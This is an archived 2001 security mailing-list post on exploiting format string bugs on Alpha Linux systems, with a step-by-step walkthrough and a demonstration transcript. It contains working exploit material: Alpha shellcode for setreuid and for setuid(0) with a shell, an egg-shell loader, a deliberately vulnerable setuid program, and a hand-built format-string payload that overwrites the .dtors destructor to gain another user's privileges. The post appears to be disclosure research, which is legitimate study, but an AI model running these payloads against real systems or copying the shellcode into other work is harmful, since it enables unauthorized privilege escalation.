format string attack on the alpha systems

From: SeungHyun Seo (s1980914at_private)
Date: Thu Sep 27 2001 - 06:49:52 PDT

  • Next message: Kerry Steele: "JRun 3.0 SP2 Vulnerability??"

    			"Format String Attack on alpha system" 
    		
    		        Seunghyun Seo (truefinder), 2001/09/24 
    		     
    					seoat_private 
    					http://igrus.inha.ac.kr/~seo
    		
    
    
    
    - Instruction ]
    
    
      This article describes format string attack in the limited situation on
    alpha system 
     - i will call the operating systems which are based on alpha cpu as alpha
    systems .
     i'm sorry that this is not  a really cool something. coz we know well how
    to exploit format 
     string bugs on x86 systems and the others too. you would notice that the
    process of our 
     work mihgt be similar to exploit on x86, but there are exactly difference
    between them.  
     someone didn't think it really work on alpha systems and beleive that
    it's impossible to 
     exploit, since it use 64bits address which have so many 0x00 so that we
    couldn't control 
     it as sequential characters.  now i will discuss about it whether it's
    possible to exploit 
     or not.
    
      It seems that it's impossible to exploit format string bugs on alpha
    systems.
     i remmember i had discussed it with so many ppls on internet for 2
    monthes ago and we 
     concluded it is not a exploitable problem, but just a program bug. after
    a one month past,
     i'd got some idea about that and i got tested several works on public
    alpha linux. (RH 7.1) 
     at last, i supprised that it worked, though there were some limitation in
    the situation. 
    
     briefly, the limitated situation is like below
    
     1. vulnerable application should get user input string from the file
    descriptor like  
        function 'fgets()' 
     
     2. address align and format string should be set by one's hand in detail
       ( it means it's different from attack with 'brute forcing method' )
     
     3. program should have read permission for reading static address of
    .dtors 
       ( it's for your convenience, if not, it could be very difficult to
    exploit. )
    
     anyway, i think that format string bugs are not safe any more on alpha
    systems.
    
    
    
    - Content ]
    
    
      Alpha is the CPU using 64 bits registers and addresses. Alpha *NIX has
    each file format.
     digital unix uses coff (Common object file format), netbsd uses elf 64 (
    excutable and 
     linkable file format) , linux uses also elf 64. whatever in general,
    stack base address is 
     allocated to 0x000000011fffffff ~ 0x0000000000000 and .text section is
    allocted to 
     0x0000000120000000 ~ ???????????????? on the alpha systems.
     
      what a unhappy ! there are so many null(0x00) bytes in their address.  
     in the past time,  ohhara ( ohharaat_private ) described how to exploit
    buffer overflow 
     bug on  alpha linux. he announced that our arbitrary return addresses
    couldn't be inserted 
     into our environmental variables or arguments all, but only one does. coz
    there are so many 
     null code in the address and it blocks our work.
    
    
     <case of buffer overflow exploit> 
    
      "/* align */"
      "/* nops */"
      "/* shellcode */"
      "\xc0\xfe\xff\x1f\x01\x00\x00\x00"
      "\xc0\xfe\xff\x1f\x01\x00\x00\x00"
      "\xc0\xfe\xff\x1f\x01\x00\x00\x00"
      "/* ; return addresses */
      
      if above string is our arbirary string, then it is reconized as below
    stuff
    
        
      "/* align */"
      "/* nops */"
      "/* shellcode */"
      "\xc0\xfe\xff\x1f\x01"
                           ^
                           |
                           \x00 :  this would be reconized end of string.
                  
      this feature is showing why the exploit of alpha linux buffer overflow
    should get only 
     one return address. and that is a fatal problem against the format string
    bug exploit. 
     as a matter of fact , arbitrary format string is constructed with 2 or
    more addresses
     like this
    
     <case of format string exploit> 
    
      "\xc0\xfe\xff\x1f\x01\x00\x00\x00"
      "\xc2\xfe\xff\x1f\x01\x00\x00\x00"
      "\xc3\xfe\xff\x1f\x01\x00\x00\x00"
      "\xc4\xfe\xff\x1f\x01\x00\x00\x00"
      "blah%blah .u%hn"
      "blah%blah .u%hn"
      "blah%blah .u%hn"
      "blah%blah .u%hn"
     
      It seems to be impossible to set that strings into our program
    environmental values or 
     arguments properly. i explained the reason 'why' already. environmental
    variables are read 
     as a string before program started and it's also read as a common string
    (string is a 
     sequential bytes that is ended by null 0x00). arguments are also read as
    a string. it works 
     like case of environmental variables too. so we couldn't construct our
    arbirary format string 
     stuff in the environmental variables or arguments with expected branch
    address and control 
     directives.
    
      now we know that it's very difficult to set arbitrary format strings
    into user environmental 
     variables or application arguments. it seems to be impposible even, so
    the program that has 
     bugs in his option like "-x [string]" is not to be vulnerable. i have no
    idea about that yet, 
     since we couldn't use our arbitrary format string that include 64bits
    addresses to fit 
     properly.  if someone have idea about that, then plz send mail to me
    seoat_private 
     we need more discussion about it.
    
      But how about application that using 'fgets()' or 'read()' for getting
    user input string ?
     How about application that using functions which get user input strings
    through 
     file descriptor ?
     * this is the point of this document.  
    
      for instance, fgets() reads string from file descriptor still EOF(-1)
    encounted. it means 
     null(0x00) is not a problem to us more over, so we could put something
    into it's stack like 
     64bits addresses and arbitrary format control directives. exactly, 0x00
    could be passed to 
     that application. we might use it as a 'our arbirary format string'. 
     as a result, it gives us more chances.
    
     "aaaaaaa\x00\x00\x00\x01\x1f\xff\xff\xff%p" 
      
      if application use fgets() for user input string, something binary
    character stuffs could 
     be passed and set in his stack. so our hell string would be stored in
    application stack.
     you can confirm what it features from snip1 
    
     -- snip1 --
     0x11ffff7b0  1a 00 00 00 00 00 00 00 61 61 61 61 61 61 61 00
    ........aaaaaaa.
     0x11ffff7c0  00 00 01 1f ff ff ff 25 70 00 df 03 00 00 00 00
    .......%p.......
     -- snip2 --
    
     
      But there are another problem, a kind of printf() functions reconize it
    also as a string 
     ,which should be cutted off in front of "null", it would parse only above
    string as "aaaaaaa" 
     character set. so speak to say, it prints only "aaaaaaa" and do nothing
    after. parsing is over.
     however, we need not be worried about that, it could be solved simply. we
    know that we could 
     use %digit$ directives to pull something out from stack. and if we get
    command string to 
     locate in the forth of string, then we could keep our work on
    successfully.
    
    
    "%<digit>$p%<digit+1>$p\x00\x00\x00\x01\xff\xff\xff\xff\x00\x00\x00\x01\xfc\xff\xff\xff"
    
      ok. it seems to work well.
     the remant of our work is doing exploit. 
    
    
      In the eve of exploit, i have to describe some of my work to readers.
     since i'd used public system and i think it is not general exploit, 
     you should know what i had to do. if you got it all, then you could also
    test it on your 
     system. 
     *might you need some attention to apply my sources to your system.
    
      i'd got two accounts seo( uid 27817 ), true( uid 28930 ). vulnerable
    program has set-user-bit
     and it named vul, it's owned by user seo. The attacker was true(28930).
    he coded exploit 
     sources to try to exploit it. it was a eggshell 'egg.c' and arbitrary
    format string attack 
     script 'vulex.sh'.
     
     you can notice something different shellcode against common one in my
    egg.c. 
     i want to explain it now.  i had to add proper setreuid() into shellcode
    and replace 
     "/bin/sh" to "/bin/vi", since my freeshell admin changed original "sh" to
    his abnormal one.
     his "sh" didn't seem to work properly, so i decided to excute anything
    else.  
     he also changed "/usr/bin/vi" to "/bin/vi" , thus after all, "vi" was
    selected to excute.
     
      exploit vulex.sh would attack to change .dtors's destructor routine
    address to our abitrary 
     eggshell address, so that program would jump to there after end of all
    program routines. 
     shellcode would call setreuid() to change his uid and call exec
    "/bin/vi". we could 
     confirm our resutl whether it was exploited or not by typing ":!id". more
    detail description 
     followes.
       
    
    - Description ]
    
    
     There are 3 sources  egg.c, vulex.sh, vul.c
    
     + egg.c is the eggshell on alpha system, he include nops and exec
    "/bin/vi" shellcode 
       it would also set align before exploit, it could be used directly after
    your compilation.
     
     + vul.c is format string vulnerable proggie which use "fgets()" for user
    input
    
     + vulex.sh is a script for attack, it's not brute force but hand made 
       "hand made" means you have to set your own arbitrary format string with
    addresses and 
       offset by yourself on your system. it couldn't be used directly, you
    have to modify this 
       to fit it on your system i guess.  defualt .dtors's destruct address is
    0x120010be0 and 
       we change that to 0x11ffffcb0 
     
    
      if you want to try it on your system 
    
       first, you should compile egg.c, vul.c and change our victim 'vul'
    owner blah, 
      mode to 4755
    
       second, you should find .dtors's address of vul, use gnu binary utility
    'objdump'  
      'objdump -s -j .dtors ./vul' will help you.
      you might see similar features like the snip2. 
     
       -- snip2 --
       public.alpha.system> objdump -s -j .dtors vul 
    
       vul:     file format elf64-alpha
    
       Contents of section .dtors:
        120010bd8 ffffffff ffffffff 00000000 00000000  ................
       public.alpha.system> 
       -- snip2 --
    
       check .dtors's destructor address of vul is 120010be0 
    
       third, we should make some arbirary string. you can see example in the
    next
      it could be bored since it should be set by your hand in detail, never
    brute force script
    
      example) "%18\$176p%19\$ln %18\$74p %20\$n %23\$1d %21\$n %18\$30p
    %22\$n
    AAAAAAAA\xe0\x0b\x01\x20\x01\x00\x00\x00\xe1\x0b\x01\x20\x01\x00\x00\x00\xe2\x0b\x01\x20\x01\x00\x00\x00\xe3\x0b\x01\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n"
      
       * this arbirary string constructed with four addresses and it would
    overwrite four bytes 
        0x120010be0 ~ 0x120010be3 with our expected parted address. if it
    works correctly, then 
        program would jump to 0x11ffffcb0 which is address of our eggshell
    hole (nops+shellcode)
        region. if not, program killed by signal SIGILL or SIGSEGV.
        in detail, %19$ln will overwrite address 0x120010be0~8 with value
    0x00000000 0x000000b0,
        %20$n will overwrite address 0x12001be1 with value 0xfc and so blah
    blah...
        it's similar on x86 exploit.
    
       finally, we could try it
     
       ./egg 1
       $./vulex.sh
     
       and next try would be
      
       ./egg 2
       $./vulex.sh
       
     
      Actual demonstration were attached. confer it.
    
     
     
    - Demonstaration ]
    
    
    public.alpha.system> ls
    egg      egg.c   vul      vul.c   vulex.sh
    public.alpha.system> objdump -s -j .dtors vul
    
    vul:     file format elf64-alpha
    
    Contents of section .dtors:
     120010bd8 ffffffff ffffffff 00000000 00000000  ................
    
    
    public.alpha.system> id
    uid=28930(true) gid=501(nis) groups=501(nis)
    public.alpha.system> whereis vi
    vi: /bin/vi /usr/share/man/man1/vi.1.gz
    public.alpha.system> ./egg 1
    sh-2.04$ ./vulex.sh
    
    Vim: Warning: Input is not from a terminal
    
    :!id
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                         VIM - Vi IMproved                                           
    ~                                                                                                     
    ~                                         version 6.0z ALPHA                                          
    ~                                      by Bram Moolenaar et al.                                       
    ~                            Vim is open source and freely distributable                              
    ~                                                                                                     
    ~                                   Help poor children in Uganda!                                     
    ~                           type  :help iccf<Enter>       for information                             
    ~                                                                                                     
    ~                           type  :q<Enter>               to exit                                     
    ~                           type  :help<Enter>  or  <F1>  for on-line help                            
    ~                           type  :help version6<Enter>   for version info                            
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    :!id
    uid=27817(seo) gid=501(nis) groups=501(nis)
    
    Hit ENTER or type command to continue
    
    ~                                                                                                     
    
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    ~                                                                                                     
    sh-2.04$ uid=28930(true) gid=501(nis) groups=501(nis)
                                                         sh-2.04$
    
    
     
    
    
    
    - Sources ]
    
    
    ++ vul.c
    
    /* 
     *	this simple proggie has format string bug
     *	it's the source especially coded for vulnerable situation
     */	
    
    #include<stdio.h>
    #include<stdlib.h>
    
    
    int
    main(void)
    {
            char *ch = "mailto:seoat_private";
            char buf[512];
    
            fgets( buf, sizeof(buf), stdin );
            printf (buf);
    
    }
    
    
    ++ egg.c
    
    /*
     *	this shall set egg shell in our environment
     *	./egg <size> <align>
     *	truefinder, seoat_private
     *
     */
    
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    #define DEF_EGGSIZE     4096
    #define DEF_ALIGN       5
    
    char nop[] = { 0x1f, 0x04, 0xff, 0x47, 0x00 };
    
    
    #ifndef GENERAL_ROOT 
    
    static char shellcode[] =
    "\x58\xfe\xde\x23\x0f\x04\xde\x47\x04\x74\xf0\x43\xa4\x01\x8f\xb0"
    "\xa4\x01\x4f\x21\xfb\x6b\x3f\x24\x01\x80\x21\x20\xa8\x01\x2f\xb4"
    "\xa9\x6c\x1f\x22\x02\x71\x3f\x22" /* a0 <- 27817 , a1 <- 28930 */
    "\x80\xd4\xef\x47" /* call setreuid() */
    "\xff\x7f\x4a\x6b\x69\x6e\x3f\x24"
    "\x2f\x62\x21\x20\x76\x69\x5f\x24\xff\x2f\x42\x20\x82\x16\x41\x48"
    "\x90\x01\x2f\xb0\x94\x01\x4f\xb0\x98\x01\xef\xb5\xa0\x01\xef\xb7"
    "\x90\x01\x0f\x22\x98\x01\x2f\x22\x12\x04\xff\x47\x80\x74\xe7\x47"
    "\xff\x7f\xea\x6b" ;
    /* setuid(27817, 28930 ), exec "/bin/vi" shellcode by truefinder */
    
    #endif
    
    #ifdef GENERAL_ROOT 
    static char shellcode[] =
    	"\x58\xfe\xde\x23\x0f\x04\xde\x47\x04\x74\xf0\x43\xa4\x01\x8f\xb0"
    	"\xa4\x01\x4f\x21\xfb\x6b\x3f\x24\x01\x80\x21\x20\xa8\x01\x2f\xb4"
    	"\x10\x04\xff\x47\x80\xf4\xe2\x47\xff\x7f\x4a\x6b\x69\x6e\x3f\x24"
    	"\x2f\x62\x21\x20\x73\x68\x5f\x24\xff\x2f\x42\x20\x82\x16\x41\x48"
    	"\x90\x01\x2f\xb0\x94\x01\x4f\xb0\x98\x01\xef\xb5\xa0\x01\xef\xb7"
    	"\x90\x01\x0f\x22\x98\x01\x2f\x22\x12\x04\xff\x47\x80\x74\xe7\x47"
    	"\xff\x7f\xea\x6b" ;
    	/* setuid(0) , exec "/bin/sh" shellcode by truefinder */
    #endif
    
    int 
    main( int argc, char *argv[] )
    {
    
            char *eggbuf, *buf_ptr;
            int align, i, eggsize ;
    
            align = DEF_ALIGN;
            eggsize = DEF_EGGSIZE ; 
    
            if ( argc < 2 ) {
                    printf ("%s <align> <size>\n", argv[0] );
                    exit(0);
            }
    
            if ( argc > 1 )
                    align = DEF_ALIGN + atoi(argv[1]);
    
            if ( argc > 2 )
                    eggsize =  atoi(argv[2]) + DEF_ALIGN ;
    
    
            if ( (eggbuf = malloc( eggsize )) == NULL ) {
                    printf ("error : malloc \n");
                    exit (-1);
            }
    
    
            /* set egg buf */
            memset( eggbuf, (int)NULL , eggsize );
    
    
            for ( i = 0; i <  250 ; i++ ) 
                    strcat ( eggbuf, nop );
    
            strcat ( eggbuf, shellcode );
    
            for ( i =0 ; i < align ; i++ )
                    strcat ( eggbuf, "A");
    
            memcpy ( eggbuf, "S=", 2 );
            putenv ( eggbuf );
    
            system("/bin/sh");
    
    }
    
    
    ++ vulex.sh
    
    #!/bin/sh
    
    perl -e 'system , print "%18\$176p%19\$ln %18\$74p %20\$n %23\$1d %21\$n
    %18\$30p %22\$n
    AAAAAAAA\xe0\x0b\x01\x20\x01\x00\x00\x00\xe1\x0b\x01\x20\x01\x00\x00\x00\xe2\x0b\x01\x20\x01\x00\x00\x00\xe3\x0b\x01\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n"'
    | ./vul
    
    
    
    
    
    - Reference ]
    
    
     [1]  "Buffer overflow exploit in the alpha linux"
          ohhara, ohharaat_private
          http://ohhara.sarang.net/security/alpha-bof.txt
     
     [2]  "Format string attack and General exploit"
          truefinder , seoat_private
          http://165.246.33.21/~seo/exposed/fmtstr-tech.txt
         
     [3]  "Overwriting the .dtors section"
          Juan M. Bello Rivas , rwxrwxrwxat_private
          http://www.synnergy.net/downloads/papers/dtors.txt
     
     [4]  "Assembly Language Programmer's Guide"
          ¨Ï Compaq Computer Corporation 1996
    
    http://www.tru64unix.compaq.com/docs/base_doc/DOCUMENTATION/V40E_HTML/APS31DTE/TITLE.HTM
     
     [5]  "Smashing The Stack For Fun And Profit"
          Aleph One, aleph1at_private
          http://www.phrack.org/show.php?p=49&a=14
    
    
    
          
    
    - EOF ]
    
    
    
    
    ++
    Seunghyun Seo , Inha university Group of Research for Unix Security
    [e-mail] seoat_private , [office] Inha university 4-207 , Incheon
    



    This archive was generated by hypermail 2b30 : Thu Sep 27 2001 - 15:05:22 PDT